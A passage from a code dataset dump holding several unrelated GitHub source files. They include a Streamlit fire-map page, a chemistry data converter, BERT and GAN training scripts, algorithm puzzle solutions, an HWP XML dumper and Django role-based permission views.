title=\"Legend\",\n labels=labels,\n colors=colors)\n\n#for download image\n# with open(\"image.jpg\", \"rb\") as file:\n# btn = st.download_button(\n# label=\"Download image\",\n# data=file,\n# file_name=\"image.jpg\",\n# mime=\"image/png\"\n# )\nMap.add_child(folium.LatLngPopup())\n# folium_static(Map)\n\n\nMap.to_streamlit(height=550)\n","repo_name":"Remote-Sensing-and-Mapping-Unit/mowram","sub_path":"pages/2_🔥_Fire Forest.py","file_name":"2_🔥_Fire Forest.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7569532637","text":"######################################################\n#\n# PyRAI2MD 2 module for training data version convertor\n#\n# Author Jingbai Li\n# Oct 11 2021\n#\n######################################################\n\nimport sys, json\nimport numpy as np\nfrom optparse import OptionParser\n\ndef main():\n\n usage = \"\"\"\n PyRAI2MD training data shuffle tool\n\n Usage:\n python3 data_shuffle_tool.py [input_file] [options]\n\n \"\"\"\n\n description = ''\n parser = OptionParser(usage=usage, description=description)\n (options, args) = parser.parse_args()\n\n title = sys.argv[1].split('.')[0]\n with open(sys.argv[1], 'r') as indata:\n dataset = json.load(indata)\n\n natom,nstate,xyz,invrset,energy,grad,nac,civec,movecset=dataset\n\n size = len(xyz)\n\n xyz = np.array(xyz)[index].tolist()\n energy = np.array(energy)[index].tolist()\n grad = np.array(grad)[index].tolist()\n nac = np.array(nac)[index].tolist()\n soc = [[] for x in range(size)]\n\n newset = {\n 'natom' : natom,\n 'nstate' : nstate,\n 'nnac' : 1,\n 'nsoc' : 0,\n 'xyz' : xyz,\n 'energy' : energy,\n 'grad' : grad,\n 'nac' : nac,\n 'soc' : soc,\n }\n\n with open('%s-new.json' % (title),'w') as outdata:\n json.dump(newset,outdata)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"lopez-lab/PyRAI2MD","sub_path":"Tools/data_convert_tool.py","file_name":"data_convert_tool.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"67"} +{"seq_id":"11633869641","text":"import os\nimport time\nimport glob\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.utils import clip_grad_norm_\n\nfrom pytorch_pretrained_bert.optimization import BertAdam\nfrom pytorch_pretrained_bert.file_utils import PYTORCH_PRETRAINED_BERT_CACHE\n\nimport numpy as np\nfrom sklearn.metrics import f1_score, accuracy_score\n\nimport utils\nfrom model import SentenceSelector\nimport options\n\nimport pdb\n\n\ndef warmup_linear(x, warmup=0.002):\n if x < warmup:\n return x/warmup\n return 1.0 - x\n\noptions = options.SquadOptions()\n\ntorch.cuda.set_device(options.gpu)\ndevice = torch.device('cuda:{}'.format(options.gpu))\n\nprint(\"Reading data pickles\")\n\ntrain_data = utils.unpickler(options.data_pkl_path, options.train_pkl_name)\ndev_data = utils.unpickler(options.data_pkl_path, options.dev_pkl_name)\n\nprint(\"Building model\")\n\nmodel = SentenceSelector(options, device)\n\nmodel.to(device)\n\nprint(\"===============================\")\nprint(\"Model:\")\nprint(model)\nprint(\"===============================\")\n\n\ncriterion = nn.CrossEntropyLoss()\n# opt = BertAdam(model.parameters(), lr=options.lr, weight_decay=options.weight_decay)\n\n\n# Prepare optimizer\nparam_optimizer = list(model.named_parameters())\n\n# hack to remove pooler, which is not used\n# thus it produce None grad that break apex\n# param_optimizer = [n for n in param_optimizer if 'pooler' not in n[0]]\n\nno_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']\noptimizer_grouped_parameters = [\n {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay': 0.01},\n {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay': 0.0}\n ]\n\nnum_train_steps = int(\n len(train_data[\"sequence_0\"]) / options.batch_size / options.gradient_accumulation_steps * options.epochs)\n\nt_total = num_train_steps\noptimizer = BertAdam(optimizer_grouped_parameters,\n lr=options.learning_rate,\n warmup=options.warmup_proportion,\n t_total=t_total)\n\n\n\niterations = 0\nstart = time.time()\nbest_dev_exact_match = -1\n\n\nroutine_log_template = 'Time:{:.4f}, Epoch:{}/{}, Iteration:{}, Avg_train_loss:{:.4f}, batch_loss:{:.4f}, Train_EM:{:.4f}'\n\ndev_log_template = 'Dev set - Exact match:{}'\n\n\n\ntrain_data_len = len(train_data[\"sequence_0\"])\ndev_data_len = len(dev_data[\"sequence_0\"])\n\ntrain_minibatch_from_indices = utils.MinibatchFromIndices(train_data, device)\ndev_minibatch_from_indices = utils.MinibatchFromIndices(dev_data, device)\n\ndel train_data\n\nprint(\"Training now\")\n\ntotal_loss_since_last_time = 0\n\nnum_epochs_since_last_best_dev_acc = 0\n\ndev_predictions_best_model = None\n\nstop_training_flag = False\n\nfor epoch in range(options.epochs):\n \n train_minibatch_index_generator = utils.minibatch_indices_generator(train_data_len, options.batch_size)\n \n \n for batch_idx, minibatch_indices in enumerate(train_minibatch_index_generator):\n batch = train_minibatch_from_indices.get(minibatch_indices)\n \n model.train(); optimizer.zero_grad()\n \n iterations += 1\n \n answer = model(batch)\n \n gt_labels = batch[\"supporting_fact\"].int().argmax(dim=1)\n \n loss = criterion(answer, gt_labels) \n \n if(torch.isnan(loss).item()):\n print(\"Loss became nan in iteration {}. Training stopped\".format(iterations))\n stop_training_flag = True\n break\n elif(loss.item() < 0.0000000000001):\n print(\"Loss is too low. Stopping training\")\n stop_training_flag = True\n break\n \n total_loss_since_last_time += loss.item()\n loss.backward()\n \n lr_this_step = options.learning_rate * warmup_linear(iterations/t_total, options.warmup_proportion)\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr_this_step\n optimizer.step()\n \n \n \n if iterations % options.log_every == 0:\n answer_copy = answer\n train_exact_match = accuracy_score(gt_labels.cpu().numpy(), answer_copy.detach().cpu().numpy().argmax(axis=1))\n \n avg_loss = total_loss_since_last_time/options.log_every\n total_loss_since_last_time = 0\n \n print(routine_log_template.format(time.time()-start, epoch+1, options.epochs, iterations,avg_loss, loss.item(), train_exact_match))\n \n \n if iterations % options.save_every == 0:\n snapshot_prefix = os.path.join(options.save_path, 'snapshot')\n snapshot_path = snapshot_prefix + '_EM_{:.4f}_loss_{:.6f}_iter_{}_model.pt'.format(train_exact_match, loss.item(), iterations)\n torch.save(model, snapshot_path)\n for f in glob.glob(snapshot_prefix + '*'):\n if f != snapshot_path:\n os.remove(f)\n \n if(stop_training_flag == True):\n break\n \n print(\"Evaluating on dev set\")\n dev_minibatch_index_generator = utils.minibatch_indices_generator(dev_data_len, options.batch_size, shuffle=False)\n\n # switch model to evaluation mode\n model.eval();\n\n answers_for_whole_dev_set = []\n total_dev_loss = 0\n with torch.no_grad():\n for dev_batch_idx, dev_minibatch_indices in enumerate(dev_minibatch_index_generator):\n dev_batch = dev_minibatch_from_indices.get(dev_minibatch_indices)\n dev_answer = model(dev_batch)\n answers_for_whole_dev_set.append(dev_answer.cpu().numpy())\n dev_gt_labels = dev_batch[\"supporting_fact\"].int().argmax(dim=1)\n dev_loss = criterion(dev_answer, dev_gt_labels)\n total_dev_loss += dev_loss.item()\n\n answers_for_whole_dev_set = np.concatenate(answers_for_whole_dev_set, axis = 0)\n\n dev_answer_labels = answers_for_whole_dev_set.argmax(axis=1)\n \n dev_exact_match = accuracy_score(np.array(dev_data[\"supporting_fact\"]).argmax(axis = 1), dev_answer_labels)\n\n print(dev_log_template.format(dev_exact_match))\n\n\n # update best valiation set accuracy\n if dev_exact_match > best_dev_exact_match:\n \n dev_predictions_best_model = answers_for_whole_dev_set\n \n num_epochs_since_last_best_dev_acc = 0\n \n # found a model with better validation set accuracy\n\n best_dev_exact_match = dev_exact_match\n snapshot_prefix = os.path.join(options.save_path, 'best_snapshot')\n snapshot_path = snapshot_prefix + '_dev_EM_{}_iter_{}_model.pt'.format(dev_exact_match, iterations)\n\n # save model, delete previous 'best_snapshot' files\n torch.save(model.state_dict(), snapshot_path)\n for f in glob.glob(snapshot_prefix + '*'):\n if f != snapshot_path:\n os.remove(f)\n else:\n num_epochs_since_last_best_dev_acc += 1\n \n if(num_epochs_since_last_best_dev_acc > options.early_stopping_patience):\n print(\"Training stopped because dev acc hasn't increased in {} epochs.\".format(options.early_stopping_patience))\n print(\"Best dev set accuracy = {}\".format(best_dev_exact_match))\n break\n\n \n\n# save best predictions\nif(dev_predictions_best_model is not None):\n utils.pickler(options.save_path, options.predictions_pkl_name, dev_predictions_best_model)\n","repo_name":"gpsbhargav/bert_sentence_ranking_and_selection","sub_path":"code/train_squad.py","file_name":"train_squad.py","file_ext":"py","file_size_in_byte":7403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"12342001523","text":"from chispa import assert_df_equality\nfrom pyspark.sql import functions as F\nfrom pyspark.sql.types import DecimalType\n\nfrom cishouseholds.pipeline.design_weights import scale_antibody_design_weights\n\n\ndef test_carry_forward_design_weights(spark_session):\n expected_df = spark_session.createDataFrame(\n data=[(2, 1.0, 4, 1.0, 1.0), (2, 3.0, 4, 3.0, 1.0), (1, 1.0, 6, 6.0, 6.0)],\n schema=\"\"\"\n groupby integer,\n raw_design_weight_antibodies_ab double,\n num_hh integer,\n scaled_design_weight_antibodies_non_adjusted double,\n antibody_design_weight_scaling_factor double\n \"\"\",\n ).withColumn(\n \"scaled_design_weight_antibodies_non_adjusted\",\n F.col(\"scaled_design_weight_antibodies_non_adjusted\").cast(DecimalType(38, 20)),\n )\n\n output_df = scale_antibody_design_weights(\n df=expected_df.drop(\"scaled_design_weight_antibodies_non_adjusted\"),\n column_name_to_assign=\"scaled_design_weight_antibodies_non_adjusted\",\n design_weight_column_to_scale=\"raw_design_weight_antibodies_ab\",\n groupby_column=\"groupby\",\n household_population_column=\"num_hh\",\n )\n assert_df_equality(\n output_df,\n expected_df,\n ignore_column_order=True,\n ignore_row_order=True,\n ignore_nullable=True,\n )\n","repo_name":"ONSdigital/cis_households","sub_path":"tests/weights/test_carry_forward_design_weights.py","file_name":"test_carry_forward_design_weights.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"16199617469","text":"# 골드4-오큰수\n# 스택활용하여 품\n# 값 넣기 전에 넣으려는 수보다 작은 것들 모두 뺌\n\nn = int(input())\ntarget = list(map(int, input().split()))\nstack = []\nres = [0]*n\n\nfor i, v in enumerate(target):\n if stack and v > stack[-1][0]:\n while stack and stack[-1][0] < v:\n curr = stack.pop()\n res[curr[1]] = v\n stack.append((v, i))\n else:\n stack.append((v, i))\n\nfor i in range(n):\n if res[i] == 0:\n res[i] = -1\n\nprint(*res)\n","repo_name":"zinozino1/Algorithm_PS","sub_path":"백준/자료구조 활용/17298.py","file_name":"17298.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71471382613","text":"import torch\nimport torchvision\nfrom tqdm import tqdm\nimport mnist\nimport generator\nimport discriminator\nimport optimizier\nimport os\nimport torchvision.transforms.functional\nimport unnorm\n\nnum_epoch = 10\n# 对于生成模型的噪声维度一般用latent_dim表示\nlatent_dim = 64\nimage_size = [1, 28, 28]\n# 每隔多少步保存一次照片\nper_step_save_picture = 500\n\ng_model = generator.Generator(latent_dim, image_size)\nd_model = discriminator.Discriminator(image_size)\n\ng_optim = optimizier.get_g_optimizer(g_model)\nd_optim = optimizier.get_d_optimizer(d_model)\n\ng_model_save_path = \"save/g_model/model.pt\"\nd_model_save_path = \"save/d_model/model.pt\"\n\nif os.path.exists(g_model_save_path) and os.path.exists(d_model_save_path):\n g_model.load_state_dict(torch.load(g_model_save_path))\n d_model.load_state_dict(torch.load(d_model_save_path))\n print(\"#### 成功载入已有模型,进行追加训练...\")\n\nnum_train_per_epoch = mnist.train_loader.sampler.num_samples // mnist.batch_size_train\n\nfor epoch in range(num_epoch):\n print(f\"当前epoch:{epoch}\")\n print(\"保存模型中\")\n torch.save(g_model.state_dict(), os.path.join(g_model_save_path))\n torch.save(d_model.state_dict(), os.path.join(d_model_save_path))\n\n for i, mini_batch in tqdm(enumerate(mnist.train_loader), total=num_train_per_epoch):\n ground_truth_images, _ = mini_batch\n bs = ground_truth_images.shape[0]\n # 随机生成z\n z = torch.randn([bs, latent_dim])\n # 送入生成器模型\n pred_images = g_model(z)\n # 对生成器进行优化\n g_optim.zero_grad()\n label_ones = torch.ones([bs, 1])\n # 计算生成器模型loss\n # 我们希望生成器输出的虚构照片输进d后尽可能为1\n g_loss = optimizier.loss_fn(d_model(pred_images), label_ones)\n g_loss.backward()\n g_optim.step()\n\n # 对判别器优化\n d_optim.zero_grad()\n # 计算判别器模型loss第一项,我们希望d对真实图片都预测成1\n d_loss1 = optimizier.loss_fn(d_model(ground_truth_images), label_ones)\n # 计算判别器模型loss第二项,我们希望d对所有虚构照片预测成0\n label_zeros = torch.zeros([bs, 1])\n # 不需要记录生成器部分梯度,设置detach()从计算图中分离出来\n d_loss2 = optimizier.loss_fn(d_model(pred_images.detach()), label_zeros)\n # d_loss为loss1、2二者之和\n d_loss = (d_loss1 + d_loss2)\n d_loss.backward()\n d_optim.step()\n # 保存照片\n if i % per_step_save_picture == 0:\n print(f\"当前进度:{i}\")\n print(\"保存照片中...\")\n print(g_loss, \"g_loss\")\n print(d_loss, \"d_loss\")\n for index, image in enumerate(pred_images):\n # 反归一化\n image = unnorm.unnormalize(image, (0.1307,), (0.3081,))\n torchvision.utils.save_image(image, f\"log/epoch_{epoch}_{i}_image_{index}.png\")\n # 保存一张\n break\n\n","repo_name":"yyz159756/pytorch_learn","sub_path":"GAN/main_train.py","file_name":"main_train.py","file_ext":"py","file_size_in_byte":3072,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"2878218373","text":"\n\nUNK_IX, PAD_IX = 0, 1\nTEXT_COLUMNS = [\"Title\", \"FullDescription\"]\nCATEGORICAL_COLUMNS = [\"Category\", \"Company\", \"LocationNormalized\", \"ContractType\", \"ContractTime\"]\nCOMPANY_COLUMN = 'Company'\nTARGET_COLUMN = \"Log1pSalary\"\nBATCH_SIZE = 16\nEPOCHS = 5\nTITLE_MAX_LEN=50\nDESC_MAX_LEN=1550\n","repo_name":"vika95viktoria/NLP-course","sub_path":"week02_classification/adzuna/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23374867053","text":"from collections import defaultdict\n\n\ndef parse_file(input):\n with open(input) as file:\n text = file.read()\n return text.splitlines()\n\n\ndef add_neighbors(x, y, invalid_neighbors):\n neighbors = []\n if 'up' not in invalid_neighbors:\n neighbors.append((x, y - 1))\n if 'down' not in invalid_neighbors:\n neighbors.append((x, y + 1))\n if 'right' not in invalid_neighbors:\n neighbors.append((x + 1, y))\n if 'up' not in invalid_neighbors:\n neighbors.append((x + 1, y - 1))\n if 'down' not in invalid_neighbors:\n neighbors.append((x + 1, y + 1))\n if 'left' not in invalid_neighbors:\n neighbors.append((x - 1, y))\n if 'up' not in invalid_neighbors:\n neighbors.append((x - 1, y - 1))\n if 'down' not in invalid_neighbors:\n neighbors.append((x - 1, y + 1))\n return neighbors\n\n\ndef get_neighbors(layout):\n neighbors = defaultdict(list)\n num_lines = len(layout)\n len_line = len(layout[0])\n for y, line in enumerate(layout):\n for x, position in enumerate(line):\n invalid_neighbors = set()\n if y + 1 >= num_lines:\n invalid_neighbors.add('down')\n if y - 1 < 0:\n invalid_neighbors.add('up')\n if x + 1 >= len_line:\n invalid_neighbors.add('right')\n if x - 1 < 0:\n invalid_neighbors.add('left')\n neighbors[(x, y)] = add_neighbors(x, y, invalid_neighbors)\n return neighbors\n\n\ndef update_seat(x, y, position, layout, result_layout, neighbors, updated):\n \"\"\"\n floor (.), an empty seat (L), or an occupied seat (#)\n\n If a seat is empty (L) and there are no occupied seats adjacent to it,\n the seat becomes occupied.\n If a seat is occupied (#) and four or more seats adjacent to it are also occupied,\n the seat becomes empty.\n Otherwise, the seat's state does not change.\n \"\"\"\n if position == 'L':\n if all(layout[ny][nx] in ['L', '.'] for (nx, ny) in neighbors[(x, y)]):\n result_layout[y] = result_layout[y][:x] + '#' + result_layout[y][x + 1:]\n if layout[y][x] != '#':\n updated = True\n if position == '#':\n occupied_neighbors = len(list(1 for (nx, ny) in neighbors[(x, y)] if layout[ny][nx] == '#'))\n if occupied_neighbors >= 4:\n result_layout[y] = result_layout[y][:x] + 'L' + result_layout[y][x + 1:]\n if layout[y][x] != 'L':\n updated = True\n return (result_layout, updated)\n\n\ndef apply_seating_round(layout, neighbors):\n updated = False\n result_layout = layout.copy()\n for y, line in enumerate(layout):\n for x, position in enumerate(line):\n result_layout, updated = update_seat(x, y, position, layout, result_layout, neighbors, updated)\n\n # print(result_layout)\n return result_layout, updated\n\n\ndef main(layout):\n neighbors = get_neighbors(layout)\n updated = True\n turn = 0\n while updated:\n turn += 1\n layout, updated = apply_seating_round(layout, neighbors)\n return ''.join(layout).count('#')\n\n\ndef test(test_input, expected):\n result = main(test_input)\n print('expected:', expected, 'result', result)\n assert result == expected\n\ntest_input = \"\"\"\\\nL.LL.LL.LL\nLLLLLLL.LL\nL.L.L..L..\nLLLL.LL.LL\nL.LL.LL.LL\nL.LLLLL.LL\n..L.L.....\nLLLLLLLLLL\nL.LLLLLL.L\nL.LLLLL.LL\n\"\"\"\n\ntest(test_input.splitlines(), 37)\n\n\nseats = main(parse_file(\"11-01-input.txt\"))\nprint(\"solution:\", seats)\n","repo_name":"punkrockpolly/aoc","sub_path":"2020/11-01-SeatingSystem.py","file_name":"11-01-SeatingSystem.py","file_ext":"py","file_size_in_byte":3536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73239982612","text":"\"\"\"\nSet two pointer at two end of array.\nMoving the pointer which have smaller value\n\"\"\"\n\nclass Solution:\n def maxArea(self, height: List[int]) -> int:\n start_index = 0\n end_index = len(height)-1\n max_area = 0\n\n while start_index')\n for x in bytechunks:\n output.write(x)\n\n\ndef xmlevents_from_hwp5file(hwp5file):\n version = '%d.%d.%d.%d' % hwp5file.fileheader.version\n hexversion = '%02x%02x%02x%02x' % hwp5file.fileheader.version\n yield STARTEVENT, ('Hwp5Doc', {\n 'version': version,\n 'hexversion': hexversion\n })\n\n with hwp5file.fileheader.open() as f:\n yield STARTEVENT, ('FileHeader', {\n })\n resolve_values = resolve_values_from_stream(f)\n model_events = resolve_type_events(FileHeader, {}, resolve_values)\n for x in xmlevents_from_modelevents(model_events):\n yield x\n yield ENDEVENT, 'FileHeader'\n\n yield STARTEVENT, ('DocInfo', {\n })\n model_events = hwp5file.docinfo.parse_model_events()\n for x in xmlevents_from_modelevents(model_events):\n yield x\n yield ENDEVENT, 'DocInfo'\n\n for section_name in hwp5file.bodytext:\n section = hwp5file.bodytext[section_name]\n yield STARTEVENT, ('Section', {\n 'name': section_name\n })\n model_events = section.parse_model_events()\n for x in xmlevents_from_modelevents(model_events):\n yield x\n yield ENDEVENT, 'Section'\n\n yield ENDEVENT, 'Hwp5Doc'\n\n\ndef expand_item_value(ev, data):\n if ev is None and data['type'] is ParaTextChunks:\n yield STARTEVENT, data\n for (start, end), item in data['value']:\n if isinstance(item, unicode):\n yield None, {\n 'bin_offset': data['bin_offset'] + start * 2,\n 'type': Text,\n 'value': item,\n }\n else:\n x = {\n 'bin_offset': data['bin_offset'] + start * 2,\n 'type': ControlChar,\n 'value': item,\n }\n yield None, x\n yield ENDEVENT, data\n else:\n yield ev, data\n\n\ndef expand_item_values(model_events):\n for ev, item in model_events:\n for x in expand_item_value(ev, item):\n yield x\n\n\ndef xmlevents_from_modelevents(model_events): # noqa\n expanded_events = expand_item_values(model_events)\n for ev, data in expanded_events:\n record = data.get('record')\n if record:\n if ev is STARTEVENT:\n yield ev, ('Record', {\n 'tagname': record['tagname'],\n 'tagid': unicode(record['tagid']),\n 'seqno': unicode(record['seqno']),\n 'level': unicode(record['level']),\n 'size': unicode(record['size']),\n })\n elif ev is ENDEVENT:\n yield ev, 'Record'\n else:\n assert False\n else:\n datatype = data['type']\n typename = datatype.__name__\n\n if ev in (STARTEVENT, ENDEVENT):\n if isinstance(datatype, (ArrayType, X_ARRAY)):\n elem = 'array'\n atrs = {\n }\n elif isinstance(datatype, (StructType, SelectiveType)):\n elem = 'struct'\n atrs = {\n 'type': typename\n }\n else:\n raise Exception(datatype.__name__)\n\n if 'name' in data:\n atrs['name'] = data['name']\n if ev is STARTEVENT:\n yield ev, (elem, atrs)\n else:\n yield ev, elem\n elif ev is None:\n atrs = {\n 'type': typename,\n 'value': unicode(data['value'])\n }\n if 'name' in data:\n atrs['name'] = data['name']\n if 'bin_offset' in data:\n atrs['offset'] = unicode(data['bin_offset'])\n if 'bin_value' in data:\n atrs['bin_value'] = unicode(data['bin_value'])\n if 'bin_type' in data:\n atrs['type'] = data['bin_type'].__name__\n yield STARTEVENT, ('item', atrs)\n\n if isinstance(datatype, FlagsType):\n fixed_size = datatype.basetype.fixed_size\n b = bin(data['value'])[2:]\n if len(b) < fixed_size * 8:\n b = '0' * (fixed_size * 8 - len(b)) + b\n h = hex(data['value'])[2:]\n if len(h) < fixed_size * 2:\n h = '0' * (fixed_size * 2 - len(h)) + h\n if h.endswith('L'):\n h = h[:-1]\n atrs = {\n 'hex': h,\n 'bin': b\n }\n yield STARTEVENT, ('bitflags', atrs)\n\n for bitfield_name in datatype.bitfields:\n desc = datatype.bitfields[bitfield_name]\n bitfield_type = desc.valuetype\n value = desc.__get__(data['value'], None)\n\n atrs = {\n 'type': datatype.basetype.__name__,\n 'name': bitfield_name,\n 'msb': unicode(desc.msb),\n 'lsb': unicode(desc.lsb),\n 'value': unicode(int(value))\n }\n yield STARTEVENT, ('bits', atrs)\n\n if isinstance(bitfield_type, EnumType):\n atrs = {\n 'type': bitfield_type.__name__,\n 'value': value.name\n }\n yield STARTEVENT, ('enum', atrs)\n yield ENDEVENT, 'enum'\n\n yield ENDEVENT, 'bits'\n\n yield ENDEVENT, 'bitflags'\n\n yield ENDEVENT, 'item'\n","repo_name":"mete0r/pyhwp","sub_path":"src/hwp5/xmldump_flat.py","file_name":"xmldump_flat.py","file_ext":"py","file_size_in_byte":6836,"program_lang":"python","lang":"en","doc_type":"code","stars":236,"dataset":"github-code","pt":"67"} +{"seq_id":"41435559326","text":"class Solution:\n def reverseVowels(self, s: str) -> str:\n stck = []\n\n hovno = {\"a\", \"e\", \"i\", \"o\", \"u\", \"A\", \"U\", \"E\", \"I\", \"O\"}\n for i in s:\n if i in hovno: stck.append(i)\n\n new = ''\n for i in s:\n if i not in hovno:\n new+=i\n\n else:\n new += stck.pop()\n\n return new\n\ndef main():\n sol = Solution()\n print(sol.reverseVowels(\"hovna\"))\n print(sol.reverseVowels(\"leetcode\"))\n\nif __name__ == \"__main__\": main()","repo_name":"samek571/leetcode-600","sub_path":"345. Reverse Vowels of a String.py","file_name":"345. Reverse Vowels of a String.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26896025868","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport time\nfrom django.urls import reverse\nfrom cmdb.utils import getAllURLs\nfrom django.conf import settings\nfrom django.urls import reverse_lazy\nfrom django.views.generic import ListView\nfrom django.forms import modelformset_factory\nfrom django.shortcuts import render, redirect\nfrom models import Menu, Permission, Role, MyUser\nfrom django.utils.module_loading import import_string\nfrom django.views.decorators.http import require_POST\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom forms import AddMenuForm, SecondGradeMenuForm, PermissionForm, MultiPermissionForm, RoleForm\n\n# Create your views here.\n\ndef customReverse(request, viewname, *args, **kwargs):\n url = reverse(viewname, *args, **kwargs)\n query_params = request.GET.get('source')\n if query_params:\n url = '{0}?{1}'.format(url, query_params)\n return url\n\ndef listMenu(request):\n menu_list = Menu.objects.all()\n menu_id = request.GET.get('mid')\n second_grade_menu_id = request.GET.get('sid')\n second_grade_menu_list = Permission.objects.filter(menu_id=menu_id) if menu_id else Permission.objects.none()\n not_menu_permission_list = Permission.objects.filter(related_id_id=second_grade_menu_id) if second_grade_menu_id else Permission.objects.none()\n add_menu_form = AddMenuForm()\n permission_form = PermissionForm()\n return render(request, 'rbac/menu_list.html', locals())\n\n@require_POST\ndef addMenu(request):\n form = AddMenuForm(request.POST)\n if form.is_valid():\n new_object = form.save()\n return redirect(customReverse(request, 'rbac:list_menu'))\n\ndef editMenu(request, pk):\n menu = Menu.objects.get(id=pk)\n if request.method == 'POST':\n form = AddMenuForm(request.POST, instance=menu)\n if form.is_valid():\n form.save()\n return redirect(customReverse(request, 'rbac:list_menu'))\n else:\n form = AddMenuForm(instance=menu)\n return render(request, 'rbac/edit.html', locals())\n\ndef deleteMenu(request, pk):\n Menu.objects.get(id=pk).delete()\n return redirect(reverse('rbac:list_menu'))\n\ndef addSecondGradeMenu(request, mid):\n menu = Menu.objects.get(id=mid)\n form = SecondGradeMenuForm(initial={'menu': menu})\n if request.method == 'POST':\n form = SecondGradeMenuForm(request.POST)\n if form.is_valid():\n new_nemu = form.save()\n return redirect(customReverse(request, 'rbac:list_menu'))\n return render(request, 'rbac/add_second_menu.html', locals())\n\ndef editSecondGradeMenu(request, pk):\n perm = Permission.objects.get(id=pk)\n if request.method == 'POST':\n form = SecondGradeMenuForm(request.POST, instance=perm)\n if form.is_valid():\n form.save()\n return redirect(customReverse(request, 'rbac:list_menu'))\n else:\n form = SecondGradeMenuForm(instance=perm)\n return render(request, 'rbac/add_second_menu.html', locals())\n\ndef deleteSecondGradeMenu(request, pk):\n Permission.objects.get(id=pk).delete()\n return redirect(customReverse(request, 'rbac:list_menu'))\n\n@require_POST\ndef addPermission(request, sid):\n second_grade_menu = Permission.objects.get(id=sid)\n form = PermissionForm(request.POST)\n if form.is_valid():\n form.instance.related_id = second_grade_menu\n new_object = form.save()\n return redirect(customReverse(request, 'rbac:list_menu'))\n\ndef editPermission(request, pk):\n perm = Permission.objects.get(id=pk)\n if request.method == 'POST':\n form = PermissionForm(request.POST, instance=perm)\n if form.is_valid():\n form.save()\n return redirect(customReverse(request, 'rbac:list_menu'))\n else:\n form = PermissionForm(instance=perm)\n return render(request, 'rbac/edit.html', locals())\n\ndef multiPermission(request):\n _type = request.GET.get('type', None) # Type identify which form was posted\n\n # Get the app's url patterns which has installed\n url_dict = dict()\n urls = import_string(dotted_path=settings.ROOT_URLCONF)\n getAllURLs(urls.urlpatterns, url_dict, prefix='/')\n router_url_pattern_set = set(url_dict.keys())\n \n # Get the url info in database\n permission_dict = Permission.objects.exclude(url='/').values('id', 'url', 'url_pattern_name', 'description', 'menu', 'related_id')\n permission_url_pattern_set = set()\n for item in permission_dict:\n permission_url_pattern_set.add(item['url_pattern_name'])\n\n # Compare url_dict and permission_dict\n for item in permission_dict:\n router_obj = url_dict.get(item['url_pattern_name'], None)\n if router_obj is not None:\n if item['url'] != router_obj['url']:\n item['url'] = u'路由url和数据库中的url不一致'\n\n # URLs pattern should be added to database\n add_url_name_set = router_url_pattern_set - permission_url_pattern_set\n init_data = [value for key, value in url_dict.items() if key in add_url_name_set]\n PermissionAddFormSet = modelformset_factory(\n model=Permission,\n form=MultiPermissionForm,\n extra=len(init_data))\n if _type is not None and _type == 'add' and request.method == 'POST':\n formset_add = PermissionAddFormSet(request.POST, initial=init_data) \n if formset_add.is_valid():\n formset_add.save()\n return redirect(customReverse(request, 'rbac:list_menu')) \n else:\n formset_add = PermissionAddFormSet(\n initial=init_data,\n queryset=Permission.objects.none())\n \n # URLs pattern should be deleted from database\n delete_url_name_set = permission_url_pattern_set - router_url_pattern_set\n delete_url_list = [row for row in permission_dict if row['url_pattern_name'] in delete_url_name_set]\n\n # URLs pattern might be update to database\n might_update_url_set = permission_url_pattern_set & router_url_pattern_set\n update_queryset = Permission.objects.none()\n for update_item in permission_dict:\n url_name = update_item['url_pattern_name']\n if url_name in might_update_url_set:\n update_queryset = update_queryset.union(Permission.objects.filter(url_pattern_name=url_name))\n PermissionUpdateFormSet = modelformset_factory(\n model=Permission,\n form=MultiPermissionForm,\n extra=0)\n if _type is not None and _type == 'update' and request.method == 'POST':\n formset_update = PermissionUpdateFormSet(request.POST)\n if formset_update.is_valid():\n formset_update.save()\n return redirect(customReverse(request, 'rbac:list_menu'))\n else:\n formset_update = PermissionUpdateFormSet(queryset=update_queryset)\n\n return render(request, 'rbac/operate_multi_permission.html', locals())\n\nclass RoleList(ListView):\n model = Role\n\n def get_context_data(self, **kwargs):\n context = super(RoleList, self).get_context_data(**kwargs)\n context['form'] = RoleForm()\n return context\n\nclass RoleCreate(CreateView):\n model = Role\n form_class = RoleForm\n\nclass RoleUpdate(UpdateView):\n model = Role\n form_class = RoleForm\n template_name = 'rbac/edit.html'\n\nclass RoleDelete(DeleteView):\n model = Role\n success_url = reverse_lazy('rbac:list_role')\n\ndef assignPermission(request):\n user_id = request.GET.get('uid')\n user_list = MyUser.objects.all()\n if user_id is not None:\n user_obj = user_list.get(pk=user_id)\n else:\n user_obj = None\n\n role_id = request.GET.get('rid')\n role_list = Role.objects.all()\n if role_id is not None:\n role_obj = role_list.get(pk=role_id)\n else:\n role_obj = None\n\n user_roles = user_obj.role.all() if user_id else Role.objects.none()\n user_role_list = [i.id for i in user_roles] if user_roles else []\n\n # Save roles belong to user_obj\n if request.method == 'POST' and request.POST.get('type') == 'role':\n 